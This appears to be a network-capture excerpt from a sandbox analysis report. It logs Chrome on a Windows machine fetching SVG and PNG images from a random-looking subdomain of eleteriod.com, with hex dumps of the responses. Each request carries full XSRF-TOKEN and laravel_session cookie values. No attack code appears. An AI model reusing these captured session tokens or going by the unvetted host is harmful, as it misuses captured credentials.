2024-05-22 18:02:12 UTC	1449	OUT	GET /wx16mHgG3zIkcRUoCPQGlNSI17mnjc9bKeDSCBaBsqf6F90180 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
2024-05-22 18:02:13 UTC	657	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:13 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="wx16mHgG3zIkcRUoCPQGlNSI17mnjc9bKeDSCBaBsqf6F90180" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7civ02QVWhAzooYpUpVqTTXf1xM73NNb10PNPeWF71%2F9NqhWyc0tvFGqACJ9ibBiUXVZ1YDsLkKGv00DE%2BjF5vdE00qc11UbM%2FVp%2Bo%2BHJyH2fbXpmy9RORtfIjtVBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb7440fbf1912-EWR
2024-05-22 18:02:13 UTC	712	IN	Data Raw: 62 35 39 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 30 2e 34 32 32 2c 32 39 2e 30 39 32 61 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 32 36 31 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2e 37 34 39 71 2e 33 36 36 2e 33 36 36 2e 38 32 37 2e 37 37 35 74 2e 39 34 39 2e 38 35 Data Ascii: b59<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.85
2024-05-22 18:02:13 UTC	1369	IN	Data Raw: 2c 36 2e 35 38 34 2c 32 32 2e 36 39 2c 31 33 2e 34 38 35 2c 31 33 2e 34 38 35 2c 30 2c 30 2c 31 2c 36 2c 31 38 2e 38 36 36 2c 39 2e 34 35 33 2c 39 2e 34 35 33 2c 30 2c 30 2c 31 2c 36 2e 32 33 35 2c 31 36 2e 36 61 36 2e 32 2c 36 2e 32 2c 30 2c 30 2c 31 2c 2e 37 2d 31 2e 37 30 37 2c 38 2e 38 34 38 2c 38 2e 38 34 38 2c 30 2c 30 2c 31 2c 31 2e 31 34 31 2d 31 2e 34 38 39 71 2e 36 37 39 2d 2e 37 32 33 2c 31 2e 35 38 35 2d 31 2e 36 31 31 61 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2d 2e 37 34 39 2c 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2d 2e 32 36 31 2c 33 2e 33 2c 33 2e 33 2c 30 2c 30 2c 31 2c 31 2e 36 38 31 2e 34 37 2c 38 2e 36 34 38 2c 38 2e 36 34 38 2c 30 2c 30 2c 31 2c 31 2e 35 34 32 2c 31 2e 31 35 Data Ascii: ,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15
2024-05-22 18:02:13 UTC	831	IN	Data Raw: 33 30 39 61 33 2e 35 32 2c 33 2e 35 32 2c 30 2c 30 2c 31 2d 2e 37 35 38 2d 31 2e 31 32 34 2c 33 2e 33 37 35 2c 33 2e 33 37 35 2c 30 2c 30 2c 31 2d 2e 32 37 2d 31 2e 33 33 33 2c 33 2e 30 36 32 2c 33 2e 30 36 32 2c 30 2c 30 2c 31 2c 2e 32 32 36 2d 31 2e 32 31 31 2c 34 2e 33 31 33 2c 34 2e 33 31 33 2c 30 2c 30 2c 31 2c 2e 35 36 36 2d 2e 39 36 37 2c 36 2e 33 36 34 2c 36 2e 33 36 34 2c 30 2c 30 2c 31 2c 2e 37 33 32 2d 2e 37 39 33 71 2e 33 39 32 2d 2e 33 35 37 2e 37 33 32 2d 2e 36 38 38 61 34 2e 36 37 38 2c 34 2e 36 37 38 2c 30 2c 30 2c 30 2c 2e 35 36 36 2d 2e 36 35 33 2c 31 2e 31 37 35 2c 31 2e 31 37 35 2c 30 2c 30 2c 30 2c 2e 32 32 36 2d 2e 36 38 38 2c 31 2e 33 33 39 2c 31 2e 33 33 39 2c 30 2c 30 2c 30 2d 2e 32 37 39 2d 2e 36 34 35 41 31 31 2e 32 39 33 2c 31 Data Ascii: 309a3.52,3.52,0,0,1-.758-1.124,3.375,3.375,0,0,1-.27-1.333,3.062,3.062,0,0,1,.226-1.211,4.313,4.313,0,0,1,.566-.967,6.364,6.364,0,0,1,.732-.793q.392-.357.732-.688a4.678,4.678,0,0,0,.566-.653,1.175,1.175,0,0,0,.226-.688,1.339,1.339,0,0,0-.279-.645A11.293,1
2024-05-22 18:02:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.17	59911	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:13 UTC	1470	OUT	GET /rst8N6cnlCxOsMQhnswMwlUCaOLMUL9Kjbcu86gh0Bc8CZGqwwMNYgEYsXQoW0SG47ef196 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
2024-05-22 18:02:14 UTC	670	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:14 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="rst8N6cnlCxOsMQhnswMwlUCaOLMUL9Kjbcu86gh0Bc8CZGqwwMNYgEYsXQoW0SG47ef196" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fdy4PZ84z6O1Ab5GFV2KUfIPQa7lTUwSv7gxiafYmwjdJghGCOt%2FdTne7uCZSPjnH2O4Ekb6sfx1DKb1kmhqlLELURqCnqpONL5TcVIjIsyoDRtOhbEIatmuTqDcfg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb7481d587c90-EWR
2024-05-22 18:02:14 UTC	275	IN	Data Raw: 31 30 63 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2c 33 32 48 33 38 56 31 38 2e 31 32 35 4c 32 34 2c 32 35 2e 31 30 39 2c 31 30 2c 31 38 2e 31 32 35 56 33 32 6d 2e 32 33 34 2d 31 36 4c 32 34 2c 32 32 2e 38 39 31 2c 33 37 2e 37 36 36 2c 31 36 48 31 30 2e 32 33 34 4d 34 30 2c 33 34 48 38 56 31 34 48 34 30 5a 22 20 66 69 6c 6c Data Ascii: 10c<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill
2024-05-22 18:02:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.17	59914	188.114.96.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:13 UTC	1116	OUT	GET /ophIsbkVflkPH6ucNNqWgQgh74rwHxeV0m3bqXIY45140 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
2024-05-22 18:02:15 UTC	643	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:14 GMT Content-Type: image/png Content-Length: 727 Connection: close Content-Disposition: inline; filename="ophIsbkVflkPH6ucNNqWgQgh74rwHxeV0m3bqXIY45140" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v9bCUs2oDOU5gMLXLBLebEqsJ%2BiTJkJNq%2BVCXLEPzY7kXA9LMvXSQCqBNifXO0C%2F5jh3nzafsG5ktm5tQN47SPsd8IXra6I%2Bij%2FzWUSD6fZY%2BiYQ1GjpsVV75xO0JQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb74b3c910f53-EWR
2024-05-22 18:02:15 UTC	726	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 02 9e 49 44 41 54 68 43 ed 97 81 51 1c 31 0c 45 8f 0e a0 83 a3 03 e8 60 a9 00 a8 20 a4 02 a0 82 90 0a a0 03 ae 83 90 0a b2 54 00 1d e4 3a 80 0e c8 7f 37 72 c6 ec dc ad e5 b5 73 77 3b 59 cf 68 18 f6 64 4b 5f 5f 92 e5 83 d9 c8 d7 c1 c8 fd 9f 4d 00 76 cd e0 c4 c0 c4 40 61 04 fe df 14 6a 9a e6 50 c1 3b 91 9c 4b 1a 09 ff b3 5e 25 ef 92 e7 b6 6d 17 85 01 4e 6e 1f c4 80 9c bf d1 c9 d7 92 79 d2 c2 6c f6 5d 40 ee 1c 7a 83 54 b2 00 58 d4 1f 65 e9 c2 ac b5 44 5a f2 24 59 1a 0b b0 12 98 e1 6f 60 e5 4c 40 60 a6 ea 72 03 30 e7 7f 99 73 38 42 64 1f fa bc 31 a6 ee 4d 87 3d c7 b5 41 e4 00 f8 61 91 27 c7 2f e5 08 11 4f 2e 81 80 05 40 34 12 6d 6b cf 92 9b 32 14 5c 00 a2 Data Ascii: PNGIHDR00WIDAThCQ1E` T:7rsw;YhdK__Mv@ajP;K^%mNnyl]@zTXeDZ$Yo`L@`r0s8Bd1M=Aa'/O.@4mk2\
2024-05-22 18:02:15 UTC	1	IN	Data Raw: 82 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.17	59913	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:13 UTC	1469	OUT	GET /ghIwflouldIy5KfULABLPvrbjLWsGG8mn1W21fyM416lcWoJkBUvXYak5v3FPkLDoef203 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
2024-05-22 18:02:14 UTC	660	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:14 GMT Content-Type: image/png Content-Length: 49602 Connection: close Content-Disposition: inline; filename="ghIwflouldIy5KfULABLPvrbjLWsGG8mn1W21fyM416lcWoJkBUvXYak5v3FPkLDoef203" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SSwkJv5tkUWwcc7m1ZT9be0fFiQQ1tSny7vmLlvFWho6C2OWCT4goFjQdvqJdlpGZYF3hHF9C8Gp%2BpwO8cKFrKbl2JUQZt2uwpfpwlXQT5szj31Z4k74FZVaa8PBlA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb74b4a087cfc-EWR
2024-05-22 18:02:14 UTC	709	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 70 00 00 01 bb 08 06 00 00 00 a1 7b f0 cd 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 3b b6 00 00 3b b6 01 16 33 14 2b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 98 5d 55 bd ff f1 f7 4c 1a 49 28 21 04 42 ef bd 08 4a bb 0a 52 94 aa 02 16 50 44 e1 7a 2d a8 28 a0 82 a2 34 51 01 f1 2a 4d 51 2e 20 0a 28 fa 13 45 45 04 41 50 3a ea 05 04 0d 08 48 49 a4 05 09 10 20 09 e9 c9 ef 8f 75 72 33 09 93 72 ce 59 fb 7c f7 de e7 fd 7a 9e ef 33 93 32 c9 67 d6 de 7b f6 cc 59 df bd 56 0f ea 36 c3 81 75 80 b5 80 55 80 95 80 51 8d 5a 19 58 1e 18 01 0c 06 96 6d d4 a0 c6 c7 0d ee e7 df Data Ascii: PNGIHDRp{sBIT\|dpHYs;;3+tEXtSoftwarewww.inkscape.org< IDATxw]ULI(!BJRPDz-(4Q*MQ. (EEAP:HI ur3rY\|z32g{YV6uUQZXm
2024-05-22 18:02:14 UTC	1369	IN	Data Raw: 22 49 92 24 49 92 24 49 92 24 65 67 03 47 bc 81 c0 ee c0 81 c0 01 c0 e8 d8 38 b5 f5 08 69 02 fa 06 d2 8a 02 93 62 e3 a8 20 5b 00 7b 91 56 ae d9 15 18 16 1b a7 96 e6 90 56 e4 b8 12 f8 39 36 47 49 92 24 49 92 24 49 92 24 49 59 d8 c0 11 63 20 f0 16 52 d3 c6 bb 80 51 b1 71 ba ce 2c d2 f6 10 bf 05 ae 02 fe 19 1b 47 6d 18 0a ec 01 ec 0f bc 0d 58 3d 36 4e 57 ba 0b f8 05 a9 99 63 6c 70 16 49 92 24 49 92 24 49 92 24 49 5a 2a 9b 02 67 00 cf 02 73 ad d2 d4 63 c0 b9 a4 46 80 41 8b 3c 7a 2a 8b 51 c0 61 c0 15 c0 2b c4 9f 3f d6 fc ba 1b 38 1c 58 6e 91 47 4f 92 24 49 92 24 49 92 24 49 92 82 2c 4f 9a 6c be 81 b4 f5 40 f4 04 ab b5 f8 7a 1e b8 0c d8 8f b4 52 8a ca 61 24 e9 3a ba 1a 98 49 fc 79 62 2d be a6 92 1a 6c f6 c0 95 9e 24 49 92 24 49 92 24 49 92 24 05 db 88 b4 aa c3 Data Ascii: "I$I$I$egG8ib [{VV96GI$I$I$IYc RQq,GmX=6NWclpI$I$I$IZgscFA<zQa+?8XnGO$I$I$I,Ol@zRa$:Iyb-l$I$I$I$
2024-05-22 18:02:14 UTC	1369	IN	Data Raw: 0d 1c 67 00 e7 50 9f 95 44 24 49 9d b3 1a f0 47 60 db e8 20 92 24 49 92 24 49 92 24 49 52 95 1b 1f 4e 03 8e 8f 0e 21 49 aa bc 97 80 3d 80 7b a2 83 48 92 24 49 92 24 49 92 24 a9 7b 55 75 05 8e af 60 f3 86 24 29 8f 11 c0 75 b8 9d 8a 24 49 92 24 49 92 24 49 92 02 55 71 05 8e 63 81 6f 46 87 90 24 d5 ce 04 60 77 e0 81 e8 20 92 24 49 92 24 49 92 24 49 ea 3e 55 6b e0 f8 2c 70 56 74 08 49 52 6d fd 9b d4 c4 f1 60 74 10 49 92 24 49 92 24 49 92 24 75 97 2a 35 70 1c 05 9c 1b 1d 42 92 54 7b 4f 03 bb 02 8f 45 07 91 24 49 92 24 49 92 24 49 52 f7 a8 4a 03 c7 11 c0 79 54 27 af 24 a9 da 9e 20 35 71 8c 0b ce 21 49 92 24 49 92 24 49 92 a4 2e 51 85 86 88 f7 00 57 00 bd d1 41 24 49 5d e5 31 e0 3f 80 e7 a3 83 48 92 24 49 92 24 49 92 24 a9 fe ca de c0 b1 23 70 13 30 34 3a 48 cd Data Ascii: gPD$IG` $I$I$IRN!I={H$I$I${Uu`$)u$I$I$IUqcoF$`w $I$I$I>Uk,pVtIRm`tI$I$I$u*5pBT{OE$I$I$IRJyT'$ 5q!I$I$I.QWA$I]1?H$I$I$#p04:H
2024-05-22 18:02:14 UTC	1369	IN	Data Raw: 40 fc 39 d5 e9 7a 77 8e c1 93 24 49 92 24 49 92 24 49 92 8a f6 51 e2 27 d7 3a 59 37 00 6b 67 19 39 95 c5 bc 46 8e 7f 10 7f 7e d5 a9 66 00 97 01 9b 2c fd a1 50 45 bc 03 78 86 f8 73 ac 53 35 1e 18 99 65 e4 24 49 92 24 49 92 24 49 92 a4 82 ac 01 4c 24 7e 72 ad 13 35 13 38 06 57 dd a8 b3 5e e0 60 60 0c f1 e7 5b 95 6b 2a f0 5d d2 d6 4a aa af 55 81 9b 89 3f df 3a 55 97 66 19 35 49 92 24 49 92 24 49 92 24 a9 20 57 13 3f a9 d6 89 7a 16 d8 2d cf 90 a9 02 7a 81 f7 00 0f 12 7f ee 55 a9 66 00 df 03 56 6f 7e c8 55 51 03 81 33 89 3f f7 3a 55 fb e6 19 36 49 92 24 49 92 24 49 92 24 29 af 43 89 9f 4c eb 44 dd 85 2b 09 74 a3 cd 81 a7 89 3f ff aa 50 73 80 2b 80 8d 5a 1a 69 d5 c1 01 c0 4b c4 9f 8b 45 d7 d3 c0 88 4c 63 26 49 92 24 49 92 24 49 92 24 65 b1 22 30 81 f8 c9 b4 a2 Data Ascii: @9zw$I$I$IQ':Y7kg9F~f,PExsS5e$I$I$IL$~r58W^``[k*]JU?:Uf5I$I$I$ W?z-zUfVo~UQ3?:U6I$I$I$)CLD+t?Ps+ZiKELc&I$I$I$e"0
2024-05-22 18:02:14 UTC	1369	IN	Data Raw: 00 ec d1 f6 28 4a e5 72 3e f1 d7 56 8e da 36 f7 c0 48 92 24 49 92 24 49 92 24 a9 3b 8c 02 a6 12 3f e1 d5 6e 7d 25 f7 c0 a8 b4 06 00 57 11 7f ce 45 d5 c3 c0 46 6d 8f a2 54 3e cb 03 4f 10 7f 8d b5 5b 97 64 1e 17 49 92 24 49 92 24 49 92 24 75 89 e3 89 9f ec 6a b7 1e 02 96 c9 3d 30 2a ad ef 10 7f ce 45 d5 f5 c0 88 f6 87 50 2a ad b7 11 7f 9d b5 5b d3 80 d1 b9 07 46 92 24 49 92 24 49 92 24 49 f5 36 80 7a 3c ed bc 6b ee 81 51 69 7d 96 f8 f3 2d aa be 4d ba 66 a5 ba fb 25 f1 d7 5b bb f5 a5 ec a3 22 49 92 24 49 92 24 49 92 a4 5a db 8b f8 49 ae 76 eb ca ec a3 a2 b2 7a 3b 30 8b f8 73 ae d3 35 0b 38 2a c3 f8 49 55 b1 3e 69 15 8b e8 6b af 9d fa 67 f6 51 91 24 49 92 24 49 92 24 49 52 ad fd 88 f8 49 ae 76 6a 06 b0 51 f6 51 51 19 6d 0b 4c 26 fe 9c eb 74 bd 42 6a 5c 91 ba Data Ascii: (Jr>V6H$I$I$;?n}%WEFmT>O[dI$I$I$uj=0EP[F$I$I$I6z<kQi}-Mf%["I$I$IZIvz;0s58*IU>ikgQ$I$I$IRIvjQQQmL&tBj\
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 46 e6 b1 91 fa 33 84 6a 3f 20 d8 b7 1e 21 35 71 49 aa 89 0f 13 ff 85 a5 d5 fa 49 01 e3 a1 72 d8 99 d4 a0 13 7d 8e 75 a2 a6 e2 de 7e 52 ab d6 02 66 12 7f 1d b7 52 2f 02 83 f2 0f 89 54 2a 2b 02 47 50 ed d5 de ba a5 66 03 37 02 87 02 c3 fa 3b 98 92 d4 61 a7 12 ff b5 d1 aa 7e 3d 49 5a c9 e5 9d c0 b2 48 92 54 6f 57 11 7f ef cd 55 8f 66 1e 1b a9 3f fb 11 7f ae e7 ac 6d f2 0e 8f a4 48 bf 22 fe 8b 4a ab b5 53 01 e3 a1 78 ab 03 e3 89 3f bf 3a 51 53 80 3d f3 0c 9b d4 b5 ae 24 fe 5a 6e b5 76 2f 60 3c a4 32 d8 16 b8 18 78 95 f8 eb cc 6a be 5e 06 fe 07 d8 6a e1 03 2b 49 1d 74 0b f1 5f 0f ad 7a d5 34 e0 f7 c0 67 80 8d 90 24 a9 7e fe 4d fc fd 36 67 2d 97 77 78 